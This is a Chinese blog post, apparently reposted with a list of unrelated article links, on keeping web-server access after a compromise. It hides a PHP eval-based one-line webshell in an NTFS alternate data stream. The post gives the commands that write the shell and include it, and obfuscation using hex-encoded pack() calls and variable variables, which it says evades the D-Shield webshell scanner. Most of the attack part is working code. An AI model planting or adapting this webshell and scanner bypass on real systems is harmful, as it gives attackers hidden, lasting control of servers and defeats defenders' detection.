【web端权限维持】利用ADS隐藏webshell
0X01 前言
未知攻,焉知防,在web端如何做手脚维护自己拿到的权限呢?首先要面临的是webshell查杀,那么通过利用ADS隐藏webshell,不失为一个好办法。
0X02 利用ADS隐藏webshell
关于ADS的介绍,就不再阐述,详见尾部参考资料。
PHP 一句话木马:<?php @eval($_POST['chopper']);?>,当然也可以直接制作免杀PHP一句话,毕竟PHP千变万化,从变量,数组,赋值,运算,函数等,各种变种。。。
制作步骤一:创建ADS隐藏文件
在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。
问题1:如何查看index.php:hidden.jpg内容呢?
进入文件所在目录,notepad index.php:hidden.jpg 或者 dir /r
问题2:如何删除index.php:hidden.jpg?
直接删除index.php即可
制作步骤二:文件包含
一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了。
但是却非常容易被webshell查杀工具查到,看到可疑引用的文件名,分分钟出局了。
  
制作步骤三:如何绕过检测
这边要解决的是include函数,如何让它检测不出来有可疑引用文件呢?
在某次应急响应事件中,获取到一段代码,这里拿来改造一下。代码如下:
<?php
@include(PACK('H*','xx'));
?>
PHP pack() 函数 函数介绍:http://www.w3school.com.cn/php/func_misc_pack.asp
将index.php:hidden.jpg进行hex编码
<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>
再次用D盾_web查杀进行扫描,还是被查到了。
  
进一步利用PHP 可变变量进行二次转换,最后得到绕过D盾扫描的姿势如下:
<?php
$a="696E6465782E7068703"."A68696464656E2E6A7067";
$b="a";
include(PACK('H*',$$b))
?>
绕过D盾_web查杀如图:

0X03 最后
权限维持,也是一门很重要的课题,熟悉各种常见的后门技术,并懂得如何进行安全防御。
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

参考文章:
NTFS中的ADS的一些问题 https://www.i0day.com/733.html
一个用ADS(供选数据流)隐藏Windows后门的方法 http://www.freebuf.com/articles/73270.html
Windows中隐藏文件的捷径---------NTFS文件流(ADS) http://blog.csdn.net/c395565746c/article/details/5336260
【web端权限维持】利用ADS隐藏webshell的更多相关文章
- web端权限维持【好文】
		
前言 关于权限维持,我之前写过一篇基于系统端的后门技术文章,如映像劫持啊,lpk之类. 内容目录: - 构造文件包含漏洞- 隐蔽性脚本木马- 构造sql注入点 正文 0x01 构造文件包含漏洞 > ...
 - Web端权限管理新增实用功能:批量增加操作,简单方便快速!
		
扩展了吉日嘎拉的Web端权限管理功能后,每次添加菜单倒没啥问题,毕竟菜单的数量有限,可是每增加一个模块.功能或者说权限控制点,就得针对各种常规操作,新增很多遍. 浪费时间,还容易出错.新增了一个字典表 ...
 - 基于吉日嘎底层架构的Web端权限管理操作演示-日志管理
		
权限管理要实现的效果是对“ 谁”可以访问“什么内容”,可以进行“哪些操作” 一系列权限的精细化控制.衡量一个软件好坏的重要标准是:它的权限体系是否足够细致.是否可以立体勾勒出信息对象的访问控制.前面4 ...
 - 基于吉日嘎底层架构的Web端权限管理操作演示-组织机构管理
		
软件是服务组织的系统,而任何组织一定会涉及到权限:所以权限控制是一个系统的核心基础,不管你做啥系统都逃不过:有人的地方就有江湖,有系统就有权限管理. 今天我们继续讲一下组织机构的管理: 新增.修改.锁 ...
 - 基于吉日嘎底层架构的Web端权限管理操作演示-菜单模块管理
		
按照顺序,这一篇介绍菜单模块管理,主要演示如下操作: 新增.修改.锁定.解锁.删除.撤销删除 排序 角色成员管理 用户成员管理 导出菜单模块数据 也许你会问,你在这自吹自擂,你这个BS的权限管理有啥缺 ...
 - 基于吉日嘎底层架构的Web端权限管理操作演示-角色管理
		
上一篇介绍了用户管理,这篇来介绍角色管理,这是权限管理的核心部分,因为我们的权限管理系统是基于角色的,有个高大上的英文名叫RBAC(Role Based Acccess Control). 下面的这段 ...
 - 基于吉日嘎底层架构的Web端权限管理操作演示-用户管理
		
相信博客园的朋友对吉日嘎拉都不陌生,相信很多人也买了他的源码,应用于自己的项目. 但是你有没有过一个困惑? 那就是:没有一个基于网页的权限管理界面. 今天,这一切都不再是问题,我花了3年时间研究学习并 ...
 - 基于吉日嘎底层架构的通用权限管理Web端UI更新:参考DTcms后台界面
		
经一周的研究学习,看了国内的H+.HUI等,国外的PaperDashboardPro.Make.Metronic BootStrap等,最终选定用一个轻量的,适合中国人的,来自DTcms的后台管理UI ...
 - IPMI相关漏洞利用及WEB端默认口令登录漏洞
		
IPMI相关漏洞 0套件漏洞 使用0套件时,只需要Username,口令任意即可绕过身份鉴别执行指令.而且一般还有一个默认的账户admin或者ADMIN. 备注:IPMI是一套主机远程管理系统,可以远 ...
 
随机推荐
- Windows安装Tomcat失败:Failed installing tomcat7 service
			
今天在Win7下面安装tomcat(解压版),但是安装的时候老是弹出:Failed installing tomcat6 service.猜想是Win7安全权限管理的原因.网上搜了一下果然是这样. 解 ...
 - grub的boot loader安装在磁盘上的位置
			
在很多资料上介绍grub的引导过程时,都是:bios->MBR->boot loaderboot loader是grub或者lilo.但是他是放在什么位置?很多资料上都没有标明. 通过阅读 ...
 - 【转】]Android实现开机自动运行程序
			
有些时候,应用需要在开机时就自动运行,例如某个自动从网上更新内容的后台service.怎样实现开机自动运行的应用?在撰写本文时,联想到高焕堂先生以“Don't call me, I'll call y ...
 - SpringCloud微服务部署
			
https://blog.csdn.net/weixin_36397925/article/details/79496657 https://blog.csdn.net/forezp/article/ ...
 - Linux命令_磁盘管理_查看磁盘或目录的容量
			
软件环境:虚拟机VM12,Linux版本 CentOS 7.3 命令 df (disk filesystem) 用于查看已挂载磁盘的总容量.使用容量.剩余容量等,可以不加任何参数,默认以KB为单位显示 ...
 - [转]Android--多线程之Handler
			
原文:http://www.cnblogs.com/plokmju/p/android_Handler.html 前言 Android的消息传递机制是另外一种形式的“事件处理”,这种机制主要是为了解决 ...
 - Spring JDBC PreparedStatementSetter接口示例
			
org.springframework.jdbc.core.PreparedStatementSetter接口充当JdbcTemplate类使用的一般回调接口.该接口在JdbcTemplate类提供的 ...
 - CI框架 -- 网页缓存
			
CodeIgniter 可以让你通过缓存页面来达到更好的性能. 尽管 CodeIgniter 已经相当高效了,但是网页中的动态内容.主机的内存 CPU 和数据库读取速度等因素直接影响了网页的加载速度. ...
 - C# 中 List.Sort运用(IComparer<T>)排序用法
			
/// <summary> /// 比较人物类实例大小,实现接口IComparer /// </summary> public class InternetProtocolCo ...
 - 转载:erlang实现安卓和IOS的推送。
			
erlang-百度云推送Android服务端功能实现-erlang erlang -- ios apns provider -- erlang 实现 转自:http://www.cnblogs.com ...